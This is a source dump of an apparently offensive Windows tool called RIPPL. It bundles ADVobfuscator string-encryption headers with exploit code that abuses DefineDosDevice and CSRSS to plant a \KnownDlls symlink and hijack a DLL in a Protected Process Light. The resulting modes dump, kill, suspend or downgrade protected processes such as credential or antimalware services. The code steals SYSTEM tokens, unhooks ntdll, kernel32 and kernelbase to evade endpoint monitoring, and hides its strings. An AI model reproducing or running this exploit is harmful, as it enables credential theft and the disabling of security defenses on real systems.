constexpr ALWAYS_INLINE MetaWString(const wchar_t* str) : key_{ K }, buffer_{ encrypt(str[I], K)... } { } // Runtime decryption. Most of the time, inlined inline const wchar_t* decrypt() { for (size_t i = 0; i < sizeof...(I); ++i) buffer_[i] = decrypt(buffer_[i]); buffer_[sizeof...(I)] = 0; LOG("--- Implementation #" << 0 << " with key 0x" << hex(key_)); return const_cast(buffer_); } private: // Encrypt / decrypt a character of the original string with the key constexpr wchar_t key() const { return key_; } constexpr wchar_t ALWAYS_INLINE encrypt(wchar_t c, int k) const { return c ^ k; } constexpr wchar_t decrypt(wchar_t c) const { return encrypt(c, key()); } volatile int key_; // key. "volatile" is important to avoid uncontrolled over-optimization by the compiler volatile wchar_t buffer_[sizeof...(I) + 1]; // Buffer to store the encrypted string + terminating null byte }; // Partial specialization with a list of indexes I, a key K and algorithm N = 1 // Each character is encrypted (OBFUSCATED) with an incremented key. template struct MetaString<1, K, Indexes> { // Constructor. Evaluated at compile time. constexpr ALWAYS_INLINE MetaString(const char* str) : key_(K), buffer_ {encrypt(str[I], I)...} { } // Runtime decryption. Most of the time, inlined inline const char* decrypt() { for(size_t i = 0; i < sizeof...(I); ++i) buffer_[i] = decrypt(buffer_[i], i); buffer_[sizeof...(I)] = 0; LOG("--- Implementation #" << 1 << " with key 0x" << hex(key_)); return const_cast(buffer_); } private: // Encrypt / decrypt a character of the original string with the key constexpr char key(size_t position) const { return static_cast(key_ + position); } constexpr char ALWAYS_INLINE encrypt(char c, size_t position) const { return c ^ key(position); } constexpr char decrypt(char c, size_t position) const { return encrypt(c, position); } volatile int key_; // key. "volatile" is important to avoid uncontrolled over-optimization by the compiler volatile char buffer_[sizeof...(I) + 1]; // Buffer to store the encrypted string + terminating null byte }; template struct MetaWString<1, K, Indexes> { // Constructor. Evaluated at compile time. constexpr ALWAYS_INLINE MetaWString(const wchar_t* str) : key_(K), buffer_{ encrypt(str[I], I)... } { } // Runtime decryption. Most of the time, inlined inline const wchar_t* decrypt() { for (size_t i = 0; i < sizeof...(I); ++i) buffer_[i] = decrypt(buffer_[i], i); buffer_[sizeof...(I)] = 0; LOG("--- Implementation #" << 1 << " with key 0x" << hex(key_)); return const_cast(buffer_); } private: // Encrypt / decrypt a character of the original string with the key constexpr wchar_t key(size_t position) const { return static_cast(key_ + position); } constexpr wchar_t ALWAYS_INLINE encrypt(wchar_t c, size_t position) const { return c ^ key(position); } constexpr wchar_t decrypt(wchar_t c, size_t position) const { return encrypt(c, position); } volatile int key_; // key. "volatile" is important to avoid uncontrolled over-optimization by the compiler volatile wchar_t buffer_[sizeof...(I) + 1]; // Buffer to store the encrypted string + terminating null byte }; // Partial specialization with a list of indexes I, a key K and algorithm N = 2 // Shift the value of each character and does not store the key. It is only used at compile-time. template struct MetaString<2, K, Indexes> { // Constructor. Evaluated at compile time. Key is *not* stored constexpr ALWAYS_INLINE MetaString(const char* str) : buffer_ {encrypt(str[I])..., 0} { } // Runtime decryption. Most of the time, inlined inline const char* decrypt() { for(size_t i = 0; i < sizeof...(I); ++i) buffer_[i] = decrypt(buffer_[i]); LOG("--- Implementation #" << 2 << " with key 0x" << hex(K)); return const_cast(buffer_); } private: // Encrypt / decrypt a character of the original string with the key // Be sure that the encryption key is never 0. constexpr char key(char key) const { return 1 + (key % 13); } constexpr char ALWAYS_INLINE encrypt(char c) const { return c + key(K); } constexpr char decrypt(char c) const { return c - key(K); } // Buffer to store the encrypted string + terminating null byte. Key is not stored volatile char buffer_[sizeof...(I) + 1]; }; template struct MetaWString<2, K, Indexes> { // Constructor. Evaluated at compile time. Key is *not* stored constexpr ALWAYS_INLINE MetaWString(const wchar_t* str) : buffer_{ encrypt(str[I])..., 0 } { } // Runtime decryption. Most of the time, inlined inline const wchar_t* decrypt() { for (size_t i = 0; i < sizeof...(I); ++i) buffer_[i] = decrypt(buffer_[i]); LOG("--- Implementation #" << 2 << " with key 0x" << hex(K)); return const_cast(buffer_); } private: // Encrypt / decrypt a character of the original string with the key // Be sure that the encryption key is never 0. constexpr wchar_t key(wchar_t key) const { return 1 + (key % 13); } constexpr wchar_t ALWAYS_INLINE encrypt(wchar_t c) const { return c + key(K); } constexpr wchar_t decrypt(wchar_t c) const { return c - key(K); } // Buffer to store the encrypted string + terminating null byte. Key is not stored volatile wchar_t buffer_[sizeof...(I) + 1]; }; // Helper to generate a key template struct MetaRandomChar { // Use 0x7F as maximum value since most of the time, char is signed (we have however 1 bit less of randomness) static const char value = static_cast(1 + MetaRandom::value); }; }} // Prefix notation #define DEF_OBFUSCATED(str) andrivet::ADVobfuscator::MetaString::value, andrivet::ADVobfuscator::MetaRandomChar<__COUNTER__>::value, andrivet::ADVobfuscator::Make_Indexes::type>(str) #define DEF_OBFUSCATEDW(str) andrivet::ADVobfuscator::MetaWString::value, andrivet::ADVobfuscator::MetaRandomChar<__COUNTER__>::value, andrivet::ADVobfuscator::Make_Indexes::type>(str) #define OBFUSCATED(str) (DEF_OBFUSCATED(str).decrypt()) #define OBFUSCATEDW(str) (DEF_OBFUSCATEDW(str).decrypt()) #endif ================================================ FILE: RIPPL/RIPPL.cpp ================================================ #include "exploit.h" BOOL g_bDebug = false; BOOL g_bForce = false; DWORD g_dwProcessId = 0; LPWSTR g_pwszExecutionMode = nullptr; LPWSTR g_pwszDumpFilePath = nullptr; LPWSTR g_pwszProcessName = nullptr; int g_intExecutionMode = -1; int wmain(int argc, wchar_t* argv[]) { wil::unique_handle permaThread; if (!ParseArguments(argc, argv)) return 1; std::vector dllsToUnhook { skCrypt(L"ntdll.dll"), skCrypt(L"kernel32.dll"), skCrypt(L"kernelbase.dll") }; for (auto dll : dllsToUnhook) { if (!UnhookDll(dll)) return -1; } PRINTARGUMENTS(); if (g_pwszProcessName != NULL && g_intExecutionMode != DRIVER_UNLOAD_MODE) { DWORD dwProcessId = 0; if (ProcessGetPIDFromName(g_pwszProcessName, &dwProcessId)) { PRINTDEBUG(L"[*] Found a process with name '%ws' and PID %d\n", g_pwszProcessName, dwProcessId); DWORD tid = 0; auto status = LI_FN(NtCreateThreadEx)(&permaThread, MAXIMUM_ALLOWED, nullptr, NtCurrentProcess(), &RunExploit, (LPVOID)dwProcessId, THREAD_CREATE_FLAGS_BYPASS_PROCESS_FREEZE, 0, 0, 0, nullptr); if(status == STATUS_SUCCESS) WaitForSingleObject(permaThread.get(), INFINITE); } } else if (g_dwProcessId != 0 && g_intExecutionMode != DRIVER_UNLOAD_MODE) { auto status = LI_FN(NtCreateThreadEx)(&permaThread, MAXIMUM_ALLOWED, nullptr, NtCurrentProcess(), &RunExploit, (LPVOID)g_dwProcessId, THREAD_CREATE_FLAGS_BYPASS_PROCESS_FREEZE, 0, 0, 0, nullptr); if (status == STATUS_SUCCESS) WaitForSingleObject(permaThread.get(), INFINITE); } else { auto runZero = 0; auto status = LI_FN(NtCreateThreadEx)(&permaThread, MAXIMUM_ALLOWED, nullptr, NtCurrentProcess(), &RunExploit, (LPVOID)runZero, THREAD_CREATE_FLAGS_BYPASS_PROCESS_FREEZE, 0, 0, 0, nullptr); if (status == STATUS_SUCCESS) WaitForSingleObject(permaThread.get(), INFINITE); } return 0; } ================================================ FILE: RIPPL/RIPPL.vcxproj ================================================  Debug Win32 Release Win32 Debug x64 Release x64 16.0 Win32Proj {fce81bda-acac-4892-969e-0414e765593b} RIPPL 10.0 RIPPL Application true v142 Unicode Application false v142 true Unicode Application true v142 Unicode Application false v142 true Unicode true false true false $(ProjectName)_unsigned Level3 true WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) true Console true winver.manifest %(AdditionalManifestFiles) Level3 true true true WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) true MultiThreadedDLL Console true true false winver.manifest %(AdditionalManifestFiles) Level3 true _DEBUG;_CONSOLE;%(PreprocessorDefinitions) true Console true winver.manifest %(AdditionalManifestFiles) python3.exe $(SolutionDir)postbuild_RIPPL.py python3.exe $(SolutionDir)DLL_encrypt.py Level3 true true true NDEBUG;_CONSOLE;%(PreprocessorDefinitions) true MultiThreaded Default Speed stdcpp17 MinSpace Console true true false winver.manifest %(AdditionalManifestFiles) call $(SolutionDir)postbuild.bat python3.exe $(SolutionDir)DLL_encrypt.py WIN64;%(PreprocessorDefinitions) WIN64;%(PreprocessorDefinitions) WIN32;%(PreprocessorDefinitions) WIN32;%(PreprocessorDefinitions) This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}. ================================================ FILE: RIPPL/RIPPL.vcxproj.filters ================================================  {4FC737F1-C7A5-4376-A066-2A32D752A2FF} cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx {93995380-89BD-4b04-88EB-625FBE52EBFB} h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms Source Files Source Files Source Files Header Files Header Files Header Files Header Files Header Files Header Files Header Files Resource Files ================================================ FILE: RIPPL/Unroller.h ================================================ // // Unroller.h // ADVobfuscator // // Copyright (c) 2010-2017, Sebastien Andrivet // All rights reserved. // // Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: // // 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. // // 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. // // 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // // Get latest version on https://github.com/andrivet/ADVobfuscator #ifndef Unroller_h #define Unroller_h // Unroll a loop namespace andrivet { namespace ADVobfuscator { template struct Unroller { template inline auto operator()(F&& f, Args&&... args) -> decltype(std::forward(f)(std::forward(args)...)) { Unroller{}(std::forward(f), std::forward(args)...); return std::forward(f)(std::forward(args)...); } }; template <> struct Unroller<1> { template inline auto operator()(F&& f, Args&&... args) -> decltype(std::forward(f)(std::forward(args)...)) { return std::forward(f)(std::forward(args)...); } }; }} #endif ================================================ FILE: RIPPL/common.hpp ================================================ #pragma once #pragma warning(disable: 4390) #define DUMP_MODE 0 // -D #define KILL_MODE 1 // -K #define SUSPEND_MODE 2 // -S #define RESUME_MODE 3 // -R #define LEAK_MODE 4 // -L #define JOB_SUPPRESS_MODE 5 // -X #define JOB_KILL_MODE 6 // -W #define SUICIDE_MODE 7 // -Z #define TOKEN_DOWNGRADE_MODE 8 // -T #define DRIVER_UNLOAD_MODE 9 // -U //#define OPSEC // OPSEC enabling macro, if defined the program will not output verbose output and won't have embedded strings (aside from the Success or Fail) #include #include #include #include #include #include #include #include #include #include #include #include #include "lazy_importer.hpp" #include "ntdll.h" #include "skCrypter.hpp" ================================================ FILE: RIPPL/exploit.cpp ================================================ #include "exploit.h" _Success_(return) BOOL RunExploit(_In_ DWORD dwProcessId) { BOOL bReturnValue = FALSE; BOOL bCurrentUserIsSystem = FALSE; HANDLE hSystemToken = NULL; BOOL bImpersonationActive = FALSE; // STEP 1 LPCWSTR pwszKnownDllsObjDir = skCrypt(L"\\GLOBAL??\\KnownDlls"); HANDLE hKnownDllsObjDir = NULL; // STEP 2 LPWSTR pwszDllToHijack = NULL; LPWSTR pwszDllLinkName = NULL; HANDLE hDllLink = NULL; SECURITY_DESCRIPTOR sd = { 0 }; SECURITY_ATTRIBUTES sa = { 0 }; // STEP 3 LPCWSTR pwszFakeGlobalrootLinkName = skCrypt(L"\\??\\GLOBALROOT"); LPCWSTR pwszFakeGlobalrootLinkTarget = skCrypt(L"\\GLOBAL??"); HANDLE hFakeGlobalrootLink = NULL; HANDLE hLocalServiceToken = NULL; // STEP 4 LPWSTR pwszDosDeviceName = NULL; LPWSTR pwszDosDeviceTargetPath = NULL; // STEP 5 LPWSTR pwszSectionName = NULL; HANDLE hDllSection = NULL; // STEP 6 LPWSTR pwszCommandLine = NULL; HANDLE hCurrentToken = NULL; HANDLE hNewProcessToken = NULL; HANDLE hNewProcess = NULL; DWORD dwExitCode = 0; // SYNCHRONIZATION HANDLE hEventDllLoaded = NULL, hEventExploitSuccess = NULL; BOOL bDllLoaded = FALSE, bExploitSuccess = FALSE; WCHAR wszEventName[MAX_PATH] = { 0 }; LPWSTR pwszGuid = NULL; DWORD dwWait = 0; PRINTDEBUG(L"Check requirements\n", bCurrentUserIsSystem); if (!CheckRequirements()) goto end; PRINTDEBUG(L"[*] Requirements OK\n"); PRINTDEBUG(L"Get the name of the DLL to hijack\n"); if (!GetHijackableDllName(&pwszDllToHijack)) goto end; PRINTDEBUG(L"[*] DLL to hijack: %ws\n", pwszDllToHijack); if (!IsCurrentUserSystem(&bCurrentUserIsSystem)) goto end; if (g_bDebug) PRINTDEBUG(L"[*] Current user is SYSTEM? -> %ws\n", bCurrentUserIsSystem ? L"TRUE" : L"FALSE"); // // 1. Create the object directory '\GLOBAL??\KnownDlls'. // // When executed as an administrator, this fails (access denied). Thanks to WinObj, we can // see that Administrators do have the "Add Object" right but the corresponding ACE applies // to child objects only, which means that they cannot add objects in the directory // '\Global??' itself. Therefore, we need to elevate to SYSTEM first. To do so we will // search for SYSTEM tokens among the running processes and steal one. This requires both // SeImpersonatePrivilege and SeDebugPrivilege. // Note: as long as the object is not marked as "permanent", we do not need to remove it // manually. When we close the last handle, the object is removed automatically. // if (!bCurrentUserIsSystem) { if (!ImpersonateSystem(&hSystemToken)) goto end; bImpersonationActive = TRUE; PRINTDEBUG(L"[*] Impersonating SYSTEM...\n"); } PRINTDEBUG(L"Create object directory '%ws'...\n", pwszKnownDllsObjDir); if (!(hKnownDllsObjDir = ObjectManagerCreateDirectory(pwszKnownDllsObjDir))) goto end; PRINTDEBUG(L"[*] Created Object Directory: '%ws'\n", pwszKnownDllsObjDir); // // 2. Create a symlink in '\GLOBAL??\KnownDlls\' with the name of a DLL to hijack. The target // of the link doesn't matter. // // The next steps will allow us to trick the CSRSS service into opening the symbolic link // '\GLOBAL??\KnownDlls\FOO.dll' instead of '\KnownDlls\FOO.dll' while impersonating the // caller. That's why we need to create this symbolic link beforehand. As the service will // just open the object itself, its target does not matter. // pwszDllLinkName = (LPWSTR)LocalAlloc(LPTR, (MAX_PATH + 1) * sizeof(WCHAR)); if (!pwszDllLinkName) goto end; StringCchPrintfW(pwszDllLinkName, MAX_PATH, skCrypt(L"%ws\\%ws"), pwszKnownDllsObjDir, pwszDllToHijack); PRINTDEBUG(L"Create symbolic link '%ws'...\n", pwszDllLinkName); if (!(hDllLink = ObjectManagerCreateSymlink(pwszDllLinkName, skCrypt(L"KnownDlls")))) goto end; PRINTDEBUG(L"[*] Created Symbolic link: '%ws'\n", pwszDllLinkName); // // 3. Inside the user's DOS device directory create a new symbolic link called 'GLOBALROOT' // pointing to '\GLOBAL??' // // The idea here is to create a "fake" GLOBALROOT that will point to a location we control // because, at step 4, the CSRSS service will try to open '\??\GLOBALROOT\...' while // impersonating the caller. '\??' represents the current user's DOS device directory. For // SYSTEM, '\??' points to '\GLOBAL??' so '\??\GLOBALROOT' is '\GLOBAL??\GLOBALROOT', which // is the actual GLOBALROOT. Therefore the trick would not work. // However, for users other than SYSTEM, '\??' points to a dedicated DOS device directory // such as '\Sessions\0\DosDevices\00000000-XXXXXXXX'. Therefore, we can create a fake // GLOBALROOT symbolic link that points to an arbitrary location. If we create this link so // that '\Sessions\0\DosDevices\00000000-XXXXXXXX\GLOBALROOT' -> '\GLOBAL??', // '\??\GLOBALROOT' will actually point to '\GLOBAL??' instead of '\GLOBAL??\GLOBALROOT' in // our context. // To summarize: // - If SYSTEM: '\??\GLOBALROOT' -> '' // - Else: '\??\GLOBALROOT' -> '\GLOBAL??' (because of our symbolic link) // Which means that: // - If SYSTEM: '\??\GLOBALROOT\KnownDlls\FOO.DLL' -> '\KnownDlls\FOO.DLL' // - Else: '\??\GLOBALROOT\KnownDlls\FOO.DLL' -> '\GLOBAL??\KnownDlls\FOO.DLL' // // So, at this step, we need to: // - revert to self if we impersonated SYSTEM as an administrator; // - impersonate another user (LOCAL SERVICE for example) if we were running as SYSTEM. // if (bCurrentUserIsSystem) { // // If we are running as SYSTEM, we need to impersonate another user. But, if we do so, the // the impersonated user will not have sufficient access on the symbolic link we just // created and the DefineDosDevice call will fail with an "Access Denied" error. Therefore // we need to edit the ACL of the object first. // InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION); #pragma warning( suppress : 6248 ) // Disable NULL DACL warning as it is intentional here SetSecurityDescriptorDacl(&sd, TRUE, NULL, FALSE); sa.nLength = sizeof(sa); sa.bInheritHandle = FALSE; sa.lpSecurityDescriptor = &sd; PRINTDEBUG(L"Set a NULL DACL on '%ws'\n", pwszDllLinkName); if (!SetKernelObjectSecurity(hDllLink, DACL_SECURITY_INFORMATION, &sd)) { PRINTLASTERROR(L"SetKernelObjectSecurity"); goto end; } if (!ImpersonateLocalService(&hLocalServiceToken)) goto end; bImpersonationActive = TRUE; PRINTDEBUG(L"[*] Impersonating LOCAL SERVICE...\n"); } else { if (!LI_FN(RevertToSelf)()) goto end; bImpersonationActive = FALSE; } PRINTDEBUG(L"Create symbolic link '%ws -> %ws'...\n", pwszFakeGlobalrootLinkName, pwszFakeGlobalrootLinkTarget); if (!(hFakeGlobalrootLink = ObjectManagerCreateSymlink(pwszFakeGlobalrootLinkName, pwszFakeGlobalrootLinkTarget))) goto end; PRINTDEBUG(L"[*] Created symbolic link: '%ws -> %ws'\n", pwszFakeGlobalrootLinkName, pwszFakeGlobalrootLinkTarget); // // 4. Call DefineDosDevice specifying a device name of "GLOBALROOT\KnownDlls\FOO.DLL" and a target // path of a location that the user can create section objects inside. // // This still need to be executed as a user other than SYSTEM, so that all the symbolic links // are properly followed. This is the "fun" part. DefineDosDevice actually results in an RPC // call to the CSRSS service. On server side, here is how the device name will be interpreted: // a. it receives the device name as the second argument; // >>> GLOBALROOT\KnownDlls\FOO.DLL // b. it will first prepend it with '\??\'; // >>> \??\GLOBALROOT\KnownDlls\FOO.DLL // c. it will try to open the symbolic link while impersonating the client, the call succeeds // because we control this symlink (step 1) // >>> \GLOBAL??\KnownDlls\FOO.DLL (\??\GLOBALROOT -> \GLOBAL??) // d. it checks whether the path starts with \GLOBAL??\ to determine if it's global; // e. as it does, it rewrites the path and prepends it with '\GLOBAL??\', considers the link // as global and disables impersonation; // >>> \GLOBAL??\GLOBALROOT\KnownDlls\FOO.DLL // f. but \GLOBAL??\GLOBALROOT, which is the real GLOBALROOT // >>> \KnownDlls\FOO.DLL // g. if invokes NtCreateSymbolicLinkObject without impersonating the user and therefore // creates a symlink inside '\KnownDlls\' with an arbitrary name and an arbitrary target // path. // // /!\ The purpose of the initial open operation is to delete the symlink and this is always // done while impersonating the user. Therefore we won't be able to delete the symlink // that was created in \KnownDlls\. We will have to remove it once we are running code // inside a PPL with WinTCB level. // pwszDosDeviceName = (LPWSTR)LocalAlloc(LPTR, (MAX_PATH + 1) * sizeof(WCHAR)); pwszDosDeviceTargetPath = (LPWSTR)LocalAlloc(LPTR, (MAX_PATH + 1) * sizeof(WCHAR)); if (!pwszDosDeviceName || !pwszDosDeviceTargetPath) goto end; StringCchPrintfW(pwszDosDeviceName, MAX_PATH, skCrypt(L"GLOBALROOT\\KnownDlls\\%ws"), pwszDllToHijack); StringCchPrintfW(pwszDosDeviceTargetPath, MAX_PATH, skCrypt(L"\\KernelObjects\\%ws"), pwszDllToHijack); PRINTDEBUG(L"Call DefineDosDevice to create '\\KnownDlls\\%ws' -> '%ws'\n", pwszDllToHijack, pwszDosDeviceTargetPath); if (!LI_FN(DefineDosDeviceW)(DDD_NO_BROADCAST_SYSTEM | DDD_RAW_TARGET_PATH, pwszDosDeviceName, pwszDosDeviceTargetPath)) { PRINTLASTERROR(L"DefineDosDevice"); if (!g_bForce || LI_FN(GetLastError)() != ERROR_ALREADY_EXISTS) goto end; } PRINTDEBUG(L"[*] DefineDosDevice OK\n", pwszDllToHijack, pwszDosDeviceTargetPath); // // Make sure the link was really created as a consequence of the DefineDosDevice call. But // first, let's revert to self if we are running as SYSTEM or impersonate SYSTEM again. // if (bCurrentUserIsSystem) { if (!LI_FN(RevertToSelf)()) { PRINTLASTERROR(L"RevertToSelf"); goto end; } bImpersonationActive = FALSE; } else { PRINTDEBUG(L"Impersonate SYSTEM again\n"); if (!Impersonate(hSystemToken)) goto end; bImpersonationActive = TRUE; PRINTDEBUG(L"[*] Impersonating SYSTEM...\n"); } PRINTDEBUG(L"Check whether the symbolic link was really created in '\\KnownDlls\\'\n"); if (!CheckKnownDllSymbolicLink(pwszDllToHijack, pwszDosDeviceTargetPath)) { PRINTDEBUG(L"[-] The symbolic link '\\KnownDlls\\%ws' was not created.\n", pwszDllToHijack); goto end; } PRINTDEBUG(L"[+] The symbolic link was successfully created: '\\KnownDlls\\%ws' -> '%ws'\n", pwszDllToHijack, pwszDosDeviceTargetPath); // // 5. Create the image section object at the target location for an arbitrary DLL. // // Final piece of the puzzle. Now that we have a symbolic link in \KnownDlls that points to // an arbitrary location, we just have to create a new Section at this location and map our // payload DLL. // pwszSectionName = pwszDosDeviceTargetPath; PRINTDEBUG(L"Map our DLL to section '%ws'\n", pwszSectionName); if (!MapDll(pwszSectionName, &hDllSection)) goto end; PRINTDEBUG(L"[*] Mapped payload DLL to: '%ws'\n", pwszSectionName); // // Prepare synchronization objects. // MiscGenerateGuidString(&pwszGuid); StringCchPrintfW(wszEventName, MAX_PATH, skCrypt(L"Global\\%ws_DLL_LOADED"), pwszGuid); if (!(hEventDllLoaded = LI_FN(CreateEventW)(nullptr, TRUE, FALSE, wszEventName))) PRINTLASTERROR(L"CreateEvent"); StringCchPrintfW(wszEventName, MAX_PATH, skCrypt(L"Global\\%ws_DUMP_SUCCESS"), pwszGuid); if (!(hEventExploitSuccess = LI_FN(CreateEventW)(nullptr, TRUE, FALSE, wszEventName))) PRINTLASTERROR(L"CreateEvent"); // // 6. Create a PPL process and hijack one of the DLLs it tries to load // // First we need to prepare the command line that we are going to execute. The ID of the // target process to dump and the path of the dump file should respectively be passed as the // first and second argument. // Then we need to get a SYSTEM token to start our new process. If the current process was // started as SYSTEM, we can simply copy this token. If SYSTEM was impersonated, we need to // copy the current thread's token. // Finally, we can start our protected process with the prepared command line and the // duplicated token. // if (!PrepareCommandLine(dwProcessId, g_pwszDumpFilePath, pwszGuid, g_intExecutionMode, &pwszCommandLine)) goto end; if (bCurrentUserIsSystem) { if (!OpenProcessToken(LI_FN(GetCurrentProcess)(), TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_ADJUST_PRIVILEGES, &hCurrentToken)) { PRINTLASTERROR(L"OpenProcessToken"); goto end; } } else { if (!OpenThreadToken(LI_FN(GetCurrentThread)(), TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_ADJUST_PRIVILEGES, FALSE, &hCurrentToken)) { PRINTLASTERROR(L"OpenThreadToken"); goto end; } } PRINTDEBUG(L"Enable privilege %ws\n", L"SeAssignPrimaryTokenPrivilege"); if (!TokenCheckPrivilege(hCurrentToken, skCrypt(L"SeAssignPrimaryTokenPrivilege"), TRUE)) goto end; PRINTDEBUG(L"Create a primary token\n"); if (!LI_FN(DuplicateTokenEx)(hCurrentToken, MAXIMUM_ALLOWED, nullptr, SecurityAnonymous, TokenPrimary, &hNewProcessToken)) { PRINTLASTERROR(L"DuplicateTokenEx"); goto end; } PRINTDEBUG(L"Create protected process with command line: %ws\n", pwszCommandLine); if (!CreateProtectedProcessAsUser(hNewProcessToken, pwszCommandLine, &hNewProcess)) goto end; PRINTDEBUG(L"[*] Started protected process, waiting...\n"); WaitForSingleObject(hNewProcess, INFINITE); bDllLoaded = WaitForSingleObject(hEventDllLoaded, 100) == WAIT_OBJECT_0; bExploitSuccess = WaitForSingleObject(hEventExploitSuccess, 100) == WAIT_OBJECT_0; PRINTDEBUG(L"Unmap section '%ws'...\n", pwszSectionName); UnmapDll(hDllSection); if (!GetExitCodeProcess(hNewProcess, &dwExitCode)) { PRINTLASTERROR(L"GetExitCodeProcess"); goto end; } PRINTDEBUG(L"Process exit code: %d\n", dwExitCode); if (dwExitCode != 0) WPRINTF(L"[!] Unexpected exit code: %d\n", dwExitCode); bReturnValue = bExploitSuccess; if (bExploitSuccess) { wprintf(skCrypt(L"Success!\n")); } else { if (bDllLoaded) wprintf(skCrypt(L"Fail - Dll loaded.\n")); else wprintf(skCrypt(L"Fail - Dll NOT loaded.\n")); } end: if (bImpersonationActive) LI_FN(RevertToSelf)(); // If impersonation was active, drop it first if (hEventDllLoaded) CloseHandle(hEventDllLoaded); if (hEventExploitSuccess) CloseHandle(hEventExploitSuccess); if (pwszGuid) LocalFree(pwszGuid); if (hNewProcessToken) CloseHandle(hNewProcessToken); if (pwszCommandLine) LocalFree(pwszCommandLine); if (pwszDosDeviceName) LocalFree(pwszDosDeviceName); if (pwszDosDeviceTargetPath) LocalFree(pwszDosDeviceTargetPath); if (hDllLink) CloseHandle(hDllLink); if (pwszDllLinkName) LocalFree(pwszDllLinkName); if (hKnownDllsObjDir) CloseHandle(hKnownDllsObjDir); if (hLocalServiceToken) CloseHandle(hLocalServiceToken); if (hSystemToken) CloseHandle(hSystemToken); if (pwszDllToHijack) LocalFree(pwszDllToHijack); return bReturnValue; } _Success_(return) BOOL CheckRequirements() { DWORD dwFailCount = 0; HANDLE hProcessToken = NULL; HANDLE hTargetProcess = NULL; BOOL bIsSystem = FALSE; DWORD dwProcessId = 0; DWORD dwProcessProtectionLevel = 0; LPWSTR pwszProcessProtectionName = NULL; DWORD dwProcessIntegrityLevel = 0; LPCWSTR ppwszRequiredPrivileges[2] = { skCrypt(L"SeDebugPrivilege").decrypt(), skCrypt(L"SeImpersonatePrivilege").decrypt()}; if (!OpenProcessToken(LI_FN(GetCurrentProcess)(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hProcessToken)) { dwFailCount++; } else { for (int i = 0; i < sizeof(ppwszRequiredPrivileges) / sizeof(*ppwszRequiredPrivileges); i++) { if (!TokenCheckPrivilege(hProcessToken, ppwszRequiredPrivileges[i], FALSE)) { dwFailCount++; WPRINTF(L"[-] A privilege is missing: %ws\n", L"SeDebugPrivilege"); } } CloseHandle(hProcessToken); } // Is SYSTEM or admin elevated? IsCurrentUserSystem(&bIsSystem); if (!bIsSystem) { if (!ProcessGetIntegrityLevel(LI_FN(GetCurrentProcessId)(), &dwProcessIntegrityLevel)) { dwFailCount++; WPRINTF(L"[-] Failed to get process integrity level\n"); } else { if (dwProcessIntegrityLevel < SECURITY_MANDATORY_HIGH_RID) { dwFailCount++; WPRINTF(L"[-] Insufficient process integrity level\n"); } } } // Check windows version >= 8.1 if (!IsWindows8Point1OrGreater()) { dwFailCount++; WPRINTF(L"[-] This version of Windows is not supported\n"); } if (g_intExecutionMode == DRIVER_UNLOAD_MODE) { return true; } if (g_pwszProcessName != NULL) { if (!ProcessGetPIDFromName(g_pwszProcessName, &dwProcessId)) { dwFailCount++; } } else if (g_dwProcessId != 0) { dwProcessId = g_dwProcessId; } // Make sure target process is a PPL if (dwProcessId != 0) { if (!ProcessGetProtectionLevel(dwProcessId, &dwProcessProtectionLevel)) { //dwFailCount++; WPRINTF(L"[!] Failed to get the protection level of process with PID %d\n", dwProcessId); } else { ProcessGetProtectionLevelAsString(dwProcessId, &pwszProcessProtectionName); PRINTDEBUG(L"Target process protection level: %d - %ws\n", dwProcessProtectionLevel, pwszProcessProtectionName); if (pwszProcessProtectionName) LocalFree(pwszProcessProtectionName); if ( dwProcessProtectionLevel != PROTECTION_LEVEL_WINTCB_LIGHT && dwProcessProtectionLevel != PROTECTION_LEVEL_WINDOWS_LIGHT && dwProcessProtectionLevel != PROTECTION_LEVEL_ANTIMALWARE_LIGHT && dwProcessProtectionLevel != PROTECTION_LEVEL_LSA_LIGHT && dwProcessProtectionLevel != PROTECTION_LEVEL_CODEGEN_LIGHT && dwProcessProtectionLevel != PROTECTION_LEVEL_PPL_APP ) { WPRINTF(L"[-] Process with ID %d is not a PPL\n", dwProcessId); } } } else { dwFailCount++; } #if _WIN64 // // A 64-bits executable cannot run on a 32-bits arch so no check is required here. // #elif _WIN32 // // We need to make sure the system's arch is 32-bits as well because we embed only the x86 version // of our payload DLL. // if (MiscSystemArchIsAmd64()) { dwFailCount++; WPRINTF(L"[-] This system architecture is not supported. Please use the 64-bits version instead.\n"); } #else dwFailCount++; WPRINTF(L"[-] This system architecture is not supported.\n"); #endif return dwFailCount == 0; } _Success_(return) BOOL IsCurrentUserSystem(_Out_ PBOOL pbResult) { 